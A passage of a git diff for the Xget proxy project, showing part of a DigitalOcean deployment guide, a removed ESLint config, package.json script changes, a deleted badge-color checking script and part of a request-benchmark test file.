- Or mirror/rebuild Xget into DOCR if you want a private registry or faster
|
||||
internal pulls.
|
||||
|
||||
2. **Create an App**
|
||||
|
||||
In the DigitalOcean control panel:
|
||||
- Create new App → choose "Container".
|
||||
- Source:
|
||||
- DigitalOcean Container Registry _or_
|
||||
- an external image (`ghcr.io/xixu-me/xget:latest`).
|
||||
|
||||
- Set the internal listening port to `8080`.
|
||||
|
||||
3. **Configure routing**
|
||||
- Map external path `/` to the Xget service.
|
||||
- Bind your domain (e.g. `xget.example.com`) to the app and enable automatic
|
||||
HTTPS.
|
||||
|
||||
4. **Scaling**
|
||||
- In the Scaling section, set minimum number of instances, e.g. 2 replicas
|
||||
for high availability.
|
||||
- Configure autoscaling based on CPU / memory usage.
|
||||
|
||||
### 3.2 Pros and caveats
|
||||
|
||||
- **Pros**
|
||||
- No OS or Docker maintenance.
|
||||
- Built-in TLS / certificate management.
|
||||
- Simple scaling and deployment UX.
|
||||
|
||||
- **Caveats**
|
||||
- Xget is sensitive to large download traffic: you should monitor bandwidth
|
||||
and outbound data transfer costs.
|
||||
- For advanced network control (VPC-only access, strict firewall rules),
|
||||
combine App Platform with Cloud Firewall and VPC.
|
||||
|
||||
## 4. Option 3: DigitalOcean Kubernetes (DOKS)
|
||||
|
||||
When you need multiple replicas, blue-green deployments, or fine-grained rollout
|
||||
strategies, run Xget on DOKS as a standard `Deployment`.
|
||||
|
||||
### 4.1 Example Deployment & Service
|
||||
|
||||
> Note: the health check path below uses `/`. If your build of Xget exposes a
|
||||
> dedicated health endpoint, adjust accordingly.
|
||||
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: xget
|
||||
spec:
|
||||
replicas: 2
|
||||
selector:
|
||||
matchLabels:
|
||||
app: xget
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: xget
|
||||
spec:
|
||||
containers:
|
||||
- name: xget
|
||||
image: ghcr.io/xixu-me/xget:latest
|
||||
ports:
|
||||
- containerPort: 8080
|
||||
resources:
|
||||
requests:
|
||||
cpu: '250m'
|
||||
memory: '256Mi'
|
||||
limits:
|
||||
cpu: '1'
|
||||
memory: '512Mi'
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /
|
||||
port: 8080
|
||||
initialDelaySeconds: 5
|
||||
periodSeconds: 10
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /
|
||||
port: 8080
|
||||
initialDelaySeconds: 30
|
||||
periodSeconds: 30
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: xget
|
||||
spec:
|
||||
selector:
|
||||
app: xget
|
||||
ports:
|
||||
- port: 80
|
||||
targetPort: 8080
|
||||
type: LoadBalancer
|
||||
```
|
||||
|
||||
- `type: LoadBalancer` will automatically create a DigitalOcean Load Balancer
|
||||
and assign a public IP.
|
||||
- Point `xget.example.com` to the Load Balancer IP in your DNS.
|
||||
|
||||
If you are using an Ingress Controller (nginx Ingress, Traefik, etc.), you can
|
||||
change the service type to `ClusterIP` and configure Ingress + cert-manager for
|
||||
Let’s Encrypt.
|
||||
|
||||
## 5. Using DOCR + Xget as an image accelerator
|
||||
|
||||
Xget can act as a registry accelerator for multiple container registries,
|
||||
including DigitalOcean Container Registry (DOCR). The typical pattern is:
|
||||
|
||||
- Original: `https://registry.digitalocean.com/...`
|
||||
- Through Xget: `https://<your Xget domain>/cr/digitalocean/...`
|
||||
|
||||
### 5.1 Example: accelerate DOCR pulls
|
||||
|
||||
Suppose your DOCR image is:
|
||||
|
||||
```text
|
||||
registry.digitalocean.com/my-registry/my-image:latest
|
||||
```
|
||||
|
||||
You can convert it to:
|
||||
|
||||
```text
|
||||
https://xget.example.com/cr/digitalocean/my-registry/my-image:latest
|
||||
```
|
||||
|
||||
This is especially useful for scripting, diagnostic, or advanced caching setups
|
||||
around DOCR.
|
||||
|
||||
### 5.2 Using Xget as a pull accelerator (daemon.json idea)
|
||||
|
||||
In some environments you can configure Docker / containerd to use Xget as a
|
||||
registry mirror. For example, in `/etc/docker/daemon.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"registry-mirrors": ["https://xget.example.com/cr/digitalocean"]
|
||||
}
|
||||
```
|
||||
|
||||
> Note: Support for non–Docker Hub mirrors depends on the Docker/containerd
|
||||
> version and configuration. Treat this as a pattern; always verify behavior in
|
||||
> your own environment.
|
||||
|
||||
## 6. Using Xget on DigitalOcean to accelerate AI inference and dev dependencies
|
||||
|
||||
Xget also supports API acceleration for multiple AI inference providers (e.g.,
|
||||
OpenAI, Anthropic, Gemini) through URL conversions such as `ip/<provider>`.
|
||||
|
||||
Once Xget is deployed on DigitalOcean, simply replace the public demo domain in
|
||||
examples with your own domain:
|
||||
|
||||
```env
|
||||
# .env example
|
||||
OPENAI_BASE_URL=https://xget.example.com/ip/openai
|
||||
ANTHROPIC_BASE_URL=https://xget.example.com/ip/anthropic
|
||||
GEMINI_BASE_URL=https://xget.example.com/ip/gemini
|
||||
```
|
||||
|
||||
Then in your code (Python + OpenAI SDK):
|
||||
|
||||
```python
|
||||
import os
|
||||
from openai import OpenAI
|
||||
|
||||
client = OpenAI(
|
||||
api_key=os.getenv("OPENAI_API_KEY"),
|
||||
base_url=os.getenv("OPENAI_BASE_URL"),
|
||||
)
|
||||
```
|
||||
|
||||
If your CI/CD pipelines or backend services also run on DigitalOcean (Droplets,
|
||||
App Platform, DOKS), they can access Xget very close in network topology,
|
||||
reducing latency and cross-region hops.
|
||||
|
||||
## 7. Monitoring, logging, and cost optimization
|
||||
|
||||
1. **Monitoring**
|
||||
- **Droplet**: Install the DigitalOcean Monitoring Agent to track CPU,
|
||||
memory, and bandwidth.
|
||||
- **App Platform / DOKS**: Use the built-in metrics views and alerts.
|
||||
- At the application level, you can inspect Xget’s response headers (e.g.,
|
||||
performance metrics) to understand cache hits and upstream delays if Xget
|
||||
exposes such information in your setup.
|
||||
|
||||
2. **Logging**
|
||||
- Use `docker logs` or `kubectl logs` to inspect Xget container logs.
|
||||
- Aggregate nginx / Ingress logs plus Xget logs into a centralized stack
|
||||
(ELK, Loki, etc.) for easier debugging.
|
||||
|
||||
3. **Cost optimization**
|
||||
- Start with a smaller Droplet or the lowest App Platform plan, then scale
|
||||
based on real traffic.
|
||||
- For very high outbound traffic, focus on:
|
||||
- Improving cache hit ratio.
|
||||
- Avoiding redundant upstream requests.
|
||||
|
||||
- Choose regions that balance:
|
||||
- End-user latency.
|
||||
- Upstream connectivity quality (e.g., to GitHub, DOCR, AI providers).
|
||||
|
||||
## 8. Security and abuse prevention
|
||||
|
||||
Because Xget is fundamentally a high-performance HTTP / Git / container registry
|
||||
proxy, you need to be careful about abuse:
|
||||
|
||||
- Do not expose a completely open, unauthenticated Xget service to the entire
|
||||
public Internet if you don’t fully understand the risk.
|
||||
- Recommended mitigations:
|
||||
- Restrict access to trusted IP ranges (office network, VPN, CI/CD nodes).
|
||||
- Add authentication at the reverse proxy or gateway layer (e.g., Basic Auth,
|
||||
token-based, or JWT).
|
||||
- Configure reasonable timeouts and concurrency limits to reduce the impact of
|
||||
misuse and protect upstreams.
|
||||
|
||||
With these patterns, you can deploy Xget on DigitalOcean using Droplets, App
|
||||
Platform, or Kubernetes, and combine it with DOCR, DNS, and firewalls to build a
|
||||
unified, robust acceleration layer for repositories, container images, and AI
|
||||
inference traffic.
|
||||
@@ -1,281 +0,0 @@
|
||||
import js from '@eslint/js';
|
||||
import prettierConfig from 'eslint-config-prettier';
|
||||
import jsdoc from 'eslint-plugin-jsdoc';
|
||||
|
||||
export default [
|
||||
js.configs.recommended,
|
||||
jsdoc.configs['flat/recommended'],
|
||||
{
|
||||
files: ['src/**/*.js', 'test/**/*.js', 'adapters/**/*.js'],
|
||||
languageOptions: {
|
||||
ecmaVersion: 2022,
|
||||
sourceType: 'module',
|
||||
globals: {
|
||||
// Cloudflare Workers globals
|
||||
addEventListener: 'readonly',
|
||||
caches: 'readonly',
|
||||
crypto: 'readonly',
|
||||
fetch: 'readonly',
|
||||
Request: 'readonly',
|
||||
Response: 'readonly',
|
||||
Headers: 'readonly',
|
||||
URL: 'readonly',
|
||||
URLSearchParams: 'readonly',
|
||||
console: 'readonly',
|
||||
AbortController: 'readonly',
|
||||
AbortSignal: 'readonly',
|
||||
setTimeout: 'readonly',
|
||||
clearTimeout: 'readonly',
|
||||
setInterval: 'readonly',
|
||||
clearInterval: 'readonly',
|
||||
ReadableStream: 'readonly',
|
||||
WritableStream: 'readonly',
|
||||
TransformStream: 'readonly',
|
||||
TextEncoder: 'readonly',
|
||||
TextDecoder: 'readonly',
|
||||
performance: 'readonly',
|
||||
globalThis: 'readonly',
|
||||
process: 'readonly',
|
||||
|
||||
// Vitest globals
|
||||
describe: 'readonly',
|
||||
it: 'readonly',
|
||||
expect: 'readonly',
|
||||
beforeEach: 'readonly',
|
||||
afterEach: 'readonly',
|
||||
beforeAll: 'readonly',
|
||||
afterAll: 'readonly',
|
||||
vi: 'readonly'
|
||||
}
|
||||
},
|
||||
settings: {
|
||||
jsdoc: {
|
||||
mode: 'typescript',
|
||||
tagNamePreference: {
|
||||
returns: 'returns'
|
||||
}
|
||||
}
|
||||
},
|
||||
rules: {
|
||||
// JSDoc rules overrides
|
||||
'jsdoc/require-description': 'warn',
|
||||
'jsdoc/require-returns': 'off', // Often redundant if return type is void or obvious
|
||||
'jsdoc/require-param-description': 'off', // Names are often self-explanatory
|
||||
'jsdoc/no-undefined-types': [
|
||||
'warn',
|
||||
{
|
||||
definedTypes: [
|
||||
'ExecutionContext',
|
||||
'Cache',
|
||||
'RequestInit',
|
||||
'Request',
|
||||
'Response',
|
||||
'Headers',
|
||||
'URL',
|
||||
'URLSearchParams',
|
||||
'AbortController',
|
||||
'AbortSignal',
|
||||
'ReadableStream',
|
||||
'WritableStream',
|
||||
'TransformStream',
|
||||
'TextEncoder',
|
||||
'TextDecoder'
|
||||
]
|
||||
}
|
||||
],
|
||||
|
||||
// Code quality rules
|
||||
'no-unused-vars': [
|
||||
'error',
|
||||
{
|
||||
argsIgnorePattern: '^_',
|
||||
varsIgnorePattern: '^_'
|
||||
}
|
||||
],
|
||||
'no-console': [
|
||||
'warn',
|
||||
{
|
||||
allow: ['warn', 'error']
|
||||
}
|
||||
],
|
||||
'no-debugger': 'error',
|
||||
'no-alert': 'error',
|
||||
|
||||
// Best practices
|
||||
eqeqeq: ['error', 'always'],
|
||||
curly: ['error', 'all'],
|
||||
'no-eval': 'error',
|
||||
'no-implied-eval': 'error',
|
||||
'no-new-func': 'error',
|
||||
'no-script-url': 'error',
|
||||
'no-self-compare': 'error',
|
||||
'no-sequences': 'error',
|
||||
'no-throw-literal': 'error',
|
||||
'no-unmodified-loop-condition': 'error',
|
||||
'no-unused-expressions': 'error',
|
||||
'no-useless-call': 'error',
|
||||
'no-useless-concat': 'error',
|
||||
'no-useless-return': 'error',
|
||||
'prefer-promise-reject-errors': 'error',
|
||||
radix: 'error',
|
||||
yoda: 'error',
|
||||
|
||||
// Variables
|
||||
'no-delete-var': 'error',
|
||||
'no-label-var': 'error',
|
||||
'no-restricted-globals': 'error',
|
||||
'no-shadow': 'error',
|
||||
'no-shadow-restricted-names': 'error',
|
||||
'no-undef': 'error',
|
||||
'no-undef-init': 'error',
|
||||
'no-use-before-define': [
|
||||
'error',
|
||||
{
|
||||
functions: false,
|
||||
classes: true,
|
||||
variables: true
|
||||
}
|
||||
],
|
||||
|
||||
// Stylistic issues
|
||||
'array-bracket-spacing': ['error', 'never'],
|
||||
'block-spacing': ['error', 'always'],
|
||||
'brace-style': [
|
||||
'error',
|
||||
'1tbs',
|
||||
{
|
||||
allowSingleLine: true
|
||||
}
|
||||
],
|
||||
camelcase: [
|
||||
'error',
|
||||
{
|
||||
properties: 'never'
|
||||
}
|
||||
],
|
||||
'comma-dangle': ['error', 'never'],
|
||||
'comma-spacing': [
|
||||
'error',
|
||||
{
|
||||
before: false,
|
||||
after: true
|
||||
}
|
||||
],
|
||||
'comma-style': ['error', 'last'],
|
||||
'computed-property-spacing': ['error', 'never'],
|
||||
'eol-last': ['error', 'always'],
|
||||
'func-call-spacing': ['error', 'never'],
|
||||
indent: [
|
||||
'error',
|
||||
2,
|
||||
{
|
||||
SwitchCase: 1
|
||||
}
|
||||
],
|
||||
'key-spacing': [
|
||||
'error',
|
||||
{
|
||||
beforeColon: false,
|
||||
afterColon: true
|
||||
}
|
||||
],
|
||||
'keyword-spacing': [
|
||||
'error',
|
||||
{
|
||||
before: true,
|
||||
after: true
|
||||
}
|
||||
],
|
||||
'linebreak-style': ['error', 'unix'],
|
||||
'no-multiple-empty-lines': [
|
||||
'error',
|
||||
{
|
||||
max: 2,
|
||||
maxEOF: 1
|
||||
}
|
||||
],
|
||||
'no-trailing-spaces': 'error',
|
||||
'object-curly-spacing': ['error', 'always'],
|
||||
quotes: [
|
||||
'error',
|
||||
'single',
|
||||
{
|
||||
avoidEscape: true
|
||||
}
|
||||
],
|
||||
semi: ['error', 'always'],
|
||||
'semi-spacing': [
|
||||
'error',
|
||||
{
|
||||
before: false,
|
||||
after: true
|
||||
}
|
||||
],
|
||||
'space-before-blocks': ['error', 'always'],
|
||||
'space-before-function-paren': [
|
||||
'error',
|
||||
{
|
||||
anonymous: 'always',
|
||||
named: 'never',
|
||||
asyncArrow: 'always'
|
||||
}
|
||||
],
|
||||
'space-in-parens': ['error', 'never'],
|
||||
'space-infix-ops': 'error',
|
||||
'space-unary-ops': [
|
||||
'error',
|
||||
{
|
||||
words: true,
|
||||
nonwords: false
|
||||
}
|
||||
],
|
||||
|
||||
// ES6+ rules
|
||||
'arrow-spacing': [
|
||||
'error',
|
||||
{
|
||||
before: true,
|
||||
after: true
|
||||
}
|
||||
],
|
||||
'constructor-super': 'error',
|
||||
'no-class-assign': 'error',
|
||||
'no-const-assign': 'error',
|
||||
'no-dupe-class-members': 'error',
|
||||
'no-duplicate-imports': 'error',
|
||||
'no-new-symbol': 'error',
|
||||
'no-this-before-super': 'error',
|
||||
'no-useless-computed-key': 'error',
|
||||
'no-useless-constructor': 'error',
|
||||
'no-useless-rename': 'error',
|
||||
'no-var': 'error',
|
||||
'object-shorthand': ['error', 'always'],
|
||||
'prefer-arrow-callback': 'error',
|
||||
'prefer-const': 'error',
|
||||
'prefer-destructuring': [
|
||||
'error',
|
||||
{
|
||||
array: true,
|
||||
object: true
|
||||
},
|
||||
{
|
||||
enforceForRenamedProperties: false
|
||||
}
|
||||
],
|
||||
'prefer-rest-params': 'error',
|
||||
'prefer-spread': 'error',
|
||||
'prefer-template': 'error',
|
||||
'rest-spread-spacing': ['error', 'never'],
|
||||
'template-curly-spacing': ['error', 'never']
|
||||
}
|
||||
},
|
||||
prettierConfig, // Disable formatting rules that conflict with Prettier
|
||||
{
|
||||
files: ['test/**/*.js'],
|
||||
rules: {
|
||||
// Relax some rules for test files
|
||||
'no-console': 'off',
|
||||
'no-unused-expressions': 'off'
|
||||
}
|
||||
}
|
||||
];
|
||||
@@ -16,7 +16,7 @@
|
||||
* along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import { handleRequest } from '../../../src/app/handle-request.js';
|
||||
import { handleRequest } from '../src/app/handle-request.js';
|
||||
|
||||
/**
|
||||
* @typedef {{
|
||||
+2
-2
@@ -25,14 +25,14 @@
|
||||
"scripts": {
|
||||
"commitlint": "commitlint --last --verbose",
|
||||
"commitmsg": "commitlint --edit",
|
||||
"deploy": "wrangler deploy",
|
||||
"deploy": "wrangler pages deploy .",
|
||||
"dev": "wrangler dev",
|
||||
"format": "prettier --write src/ test/ *.js *.json",
|
||||
"format:check": "prettier --check src/ test/ *.js *.json",
|
||||
"lint": "eslint src/ test/ adapters/",
|
||||
"lint:fix": "eslint src/ test/ adapters/ --fix",
|
||||
"prepare": "simple-git-hooks",
|
||||
"start": "wrangler dev",
|
||||
"start": "wrangler pages dev .",
|
||||
"test": "vitest",
|
||||
"test:coverage": "vitest run --config vitest.coverage.config.js --coverage",
|
||||
"test:run": "vitest run",
|
||||
|
||||
@@ -1,212 +0,0 @@
|
||||
import { readFileSync, writeFileSync } from 'fs';
|
||||
import { dirname, join } from 'path';
|
||||
import { fileURLToPath } from 'url';
|
||||
|
||||
const __filename = fileURLToPath(import.meta.url);
|
||||
const __dirname = dirname(__filename);
|
||||
|
||||
// Check if --fix flag is provided
|
||||
const shouldFix = process.argv.includes('--fix');
|
||||
|
||||
// Extract badge info from README file
|
||||
/**
|
||||
*
|
||||
* @param filePath
|
||||
*/
|
||||
function extractBadgeInfo(filePath) {
|
||||
const content = readFileSync(filePath, 'utf8');
|
||||
const badgeRegex =
|
||||
/\[!\[.*?\]\(https:\/\/img\.shields\.io\/badge\/(.*?)-([0-9A-Fa-f]{6})\?.*?logo=([a-z0-9-]+)/gi;
|
||||
|
||||
const badges = {};
|
||||
let match;
|
||||
while ((match = badgeRegex.exec(content)) !== null) {
|
||||
const fullMatch = match[0];
|
||||
const label = match[1];
|
||||
const color = match[2];
|
||||
const logo = match[3];
|
||||
// Normalize logo name (lowercase and remove dashes for Simple Icons lookup)
|
||||
const normalizedLogo = logo.toLowerCase().replace(/-/g, '');
|
||||
|
||||
if (!badges[normalizedLogo]) {
|
||||
badges[normalizedLogo] = {
|
||||
color: color,
|
||||
logo: logo,
|
||||
label: label,
|
||||
fullMatch: fullMatch
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
return badges;
|
||||
}
|
||||
|
||||
// Fix badge colors in README file
|
||||
/**
|
||||
*
|
||||
* @param filePath
|
||||
* @param colorChanges
|
||||
*/
|
||||
function fixBadgeColors(filePath, colorChanges) {
|
||||
let content = readFileSync(filePath, 'utf8');
|
||||
let changeCount = 0;
|
||||
|
||||
for (const [logo, change] of Object.entries(colorChanges)) {
|
||||
const oldColor = change.current.toUpperCase();
|
||||
const newColor = change.official.toUpperCase();
|
||||
|
||||
// Create regex to match badges with this logo and old color
|
||||
const badgeRegex = new RegExp(
|
||||
`(\\[!\\[.*?\\]\\(https:\\/\\/img\\.shields\\.io\\/badge\\/.*?-)${oldColor}(\\?.*?logo=${change.logoName})`,
|
||||
'gi'
|
||||
);
|
||||
|
||||
const newContent = content.replace(badgeRegex, `$1${newColor}$2`);
|
||||
|
||||
if (newContent !== content) {
|
||||
changeCount++;
|
||||
content = newContent;
|
||||
console.log(` ✅ Fixed ${logo}: ${oldColor} → ${newColor}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (changeCount > 0) {
|
||||
writeFileSync(filePath, content, 'utf8');
|
||||
return changeCount;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
async function fetchSimpleIcons() {
|
||||
const response = await fetch(
|
||||
'https://raw.githubusercontent.com/simple-icons/simple-icons/refs/heads/develop/data/simple-icons.json'
|
||||
);
|
||||
const icons = await response.json();
|
||||
|
||||
// Create a map of slug -> hex color
|
||||
const iconMap = {};
|
||||
icons.forEach(icon => {
|
||||
// Use slug if available, otherwise generate from title
|
||||
const slug = icon.slug || icon.title.toLowerCase().replace(/[^a-z0-9]/g, '');
|
||||
iconMap[slug] = icon.hex;
|
||||
});
|
||||
|
||||
return iconMap;
|
||||
}
|
||||
|
||||
/**
|
||||
*
|
||||
* @param filePath
|
||||
* @param simpleIcons
|
||||
*/
|
||||
function checkReadme(filePath, simpleIcons) {
|
||||
const fileName = filePath.split(/[\\/]/).pop();
|
||||
const currentBadges = extractBadgeInfo(filePath);
|
||||
|
||||
console.log(`\n${'='.repeat(80)}`);
|
||||
console.log(`📄 ${fileName}`);
|
||||
console.log('='.repeat(80));
|
||||
console.log(
|
||||
'Logo Name'.padEnd(25) + 'Current Color'.padEnd(20) + 'Official Color'.padEnd(20) + 'Status'
|
||||
);
|
||||
console.log('='.repeat(80));
|
||||
|
||||
let totalChecked = 0;
|
||||
let correctCount = 0;
|
||||
let incorrectCount = 0;
|
||||
const issues = {};
|
||||
|
||||
for (const [logo, badgeInfo] of Object.entries(currentBadges)) {
|
||||
totalChecked++;
|
||||
const currentColor = badgeInfo.color;
|
||||
const officialColor = simpleIcons[logo];
|
||||
|
||||
if (!officialColor) {
|
||||
console.log(
|
||||
`${logo.padEnd(25)}${currentColor.padEnd(20)}${'NOT FOUND'.padEnd(20)}⚠️ Missing`
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
const currentUpper = currentColor.toUpperCase();
|
||||
const officialUpper = officialColor.toUpperCase();
|
||||
|
||||
if (currentUpper === officialUpper) {
|
||||
console.log(
|
||||
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}✅ Correct`
|
||||
);
|
||||
correctCount++;
|
||||
} else {
|
||||
console.log(
|
||||
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}❌ Mismatch`
|
||||
);
|
||||
incorrectCount++;
|
||||
issues[logo] = {
|
||||
current: currentColor,
|
||||
official: officialColor,
|
||||
logoName: badgeInfo.logo
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
console.log('='.repeat(80));
|
||||
console.log(`\nSummary for ${fileName}:`);
|
||||
console.log(`Total badges checked: ${totalChecked}`);
|
||||
console.log(`✅ Correct: ${correctCount}`);
|
||||
console.log(`❌ Incorrect: ${incorrectCount}`);
|
||||
|
||||
if (Object.keys(issues).length > 0) {
|
||||
console.log('\n🔧 Badges that need updating:\n');
|
||||
Object.entries(issues).forEach(([logo, issue]) => {
|
||||
console.log(`${logo}:`);
|
||||
console.log(` Current: ${issue.current}`);
|
||||
console.log(` Official: ${issue.official}`);
|
||||
console.log(` Change: ${issue.current} → ${issue.official}\n`);
|
||||
});
|
||||
|
||||
if (shouldFix) {
|
||||
console.log('🔧 Applying fixes...\n');
|
||||
const fixedCount = fixBadgeColors(filePath, issues);
|
||||
console.log(`✅ Fixed ${fixedCount} badge(s) in ${fileName}`);
|
||||
}
|
||||
} else {
|
||||
console.log('\n🎉 All badge colors are correct!');
|
||||
}
|
||||
|
||||
return issues;
|
||||
}
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
async function main() {
|
||||
console.log('Fetching Simple Icons data...\n');
|
||||
const simpleIcons = await fetchSimpleIcons();
|
||||
|
||||
const readmes = [
|
||||
join(__dirname, '..', 'README.md'),
|
||||
join(__dirname, '..', 'README.zh-Hans.md'),
|
||||
join(__dirname, '..', 'README.zh-Hant.md')
|
||||
];
|
||||
|
||||
let anyIssues = false;
|
||||
for (const readmePath of readmes) {
|
||||
const issues = checkReadme(readmePath, simpleIcons);
|
||||
if (Object.keys(issues).length > 0) anyIssues = true;
|
||||
}
|
||||
|
||||
if (anyIssues && !shouldFix) {
|
||||
console.log('\n💡 Tip: Run with --fix flag to automatically fix all mismatches:');
|
||||
console.log(' node scripts/fix-badge-colors.js --fix\n');
|
||||
} else if (!anyIssues) {
|
||||
console.log('\n🎉 All badge colors across all READMEs are correct!');
|
||||
} else {
|
||||
console.log('\n🎉 All badge colors have been fixed!');
|
||||
}
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
@@ -1,217 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { bench, describe } from 'vitest';
|
||||
import { TEST_URLS } from '../helpers/test-utils.js';
|
||||
|
||||
describe('Performance Benchmarks', () => {
|
||||
describe('Request Processing Speed', () => {
|
||||
bench('Basic request handling', async () => {
|
||||
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('GitHub file request', async () => {
|
||||
await SELF.fetch(TEST_URLS.github.file, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('GitLab file request', async () => {
|
||||
await SELF.fetch(TEST_URLS.gitlab.file, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('Hugging Face model request', async () => {
|
||||
await SELF.fetch(TEST_URLS.huggingface.model, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('npm package request', async () => {
|
||||
await SELF.fetch(TEST_URLS.npm.package, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('PyPI package request', async () => {
|
||||
await SELF.fetch(TEST_URLS.pypi.simple, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('conda package request', async () => {
|
||||
await SELF.fetch(TEST_URLS.conda.main, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Git Protocol Performance', () => {
|
||||
bench('Git info/refs request', async () => {
|
||||
await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
bench('Git upload-pack request', async () => {
|
||||
await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1',
|
||||
'Content-Type': 'application/x-git-upload-pack-request'
|
||||
},
|
||||
body: '0000'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Security Header Processing', () => {
|
||||
bench('Security headers addition', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
// Verify headers are present (this adds to processing time)
|
||||
response.headers.get('Strict-Transport-Security');
|
||||
response.headers.get('X-Frame-Options');
|
||||
response.headers.get('X-XSS-Protection');
|
||||
response.headers.get('Content-Security-Policy');
|
||||
response.headers.get('Referrer-Policy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error Handling Performance', () => {
|
||||
bench('404 error handling', async () => {
|
||||
await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt');
|
||||
});
|
||||
|
||||
bench('400 error handling', async () => {
|
||||
await SELF.fetch('https://example.com/invalid-platform/test');
|
||||
});
|
||||
|
||||
bench('405 error handling', async () => {
|
||||
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Concurrent Request Handling', () => {
|
||||
bench('10 concurrent requests', async () => {
|
||||
const requests = Array(10)
|
||||
.fill(null)
|
||||
.map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
await Promise.all(requests);
|
||||
});
|
||||
|
||||
bench('50 concurrent requests', async () => {
|
||||
const requests = Array(50)
|
||||
.fill(null)
|
||||
.map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
})
|
||||
);
|
||||
|
||||
await Promise.all(requests);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Path Processing Performance', () => {
|
||||
bench('Short path processing', async () => {
|
||||
await SELF.fetch('https://example.com/gh/a/b', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('Medium path processing', async () => {
|
||||
await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
|
||||
bench('Long path processing', async () => {
|
||||
const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
|
||||
await SELF.fetch(`https://example.com${longPath}`, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('URL Parsing Performance', () => {
|
||||
bench('Simple URL parsing', async () => {
|
||||
await SELF.fetch('https://example.com/gh/user/repo');
|
||||
});
|
||||
|
||||
bench('URL with query parameters', async () => {
|
||||
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src');
|
||||
});
|
||||
|
||||
bench('URL with fragments', async () => {
|
||||
await SELF.fetch('https://example.com/gh/user/repo/README.md#section');
|
||||
});
|
||||
|
||||
bench('Complex URL parsing', async () => {
|
||||
await SELF.fetch(
|
||||
'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Memory Usage Patterns', () => {
|
||||
bench('Request object creation', async () => {
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Test/1.0',
|
||||
Accept: '*/*'
|
||||
}
|
||||
});
|
||||
|
||||
// Process the request
|
||||
await SELF.fetch(request);
|
||||
});
|
||||
|
||||
bench('Response object processing', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
// Access various response properties
|
||||
response.status;
|
||||
response.statusText;
|
||||
response.headers.get('Content-Type');
|
||||
response.headers.get('X-Performance-Metrics');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Platform-Specific Performance', () => {
|
||||
bench('GitHub platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json');
|
||||
});
|
||||
|
||||
bench('GitLab platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json');
|
||||
});
|
||||
|
||||
bench('Hugging Face platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json');
|
||||
});
|
||||
|
||||
bench('npm platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/npm/react');
|
||||
});
|
||||
|
||||
bench('PyPI platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/pypi/simple/requests/');
|
||||
});
|
||||
|
||||
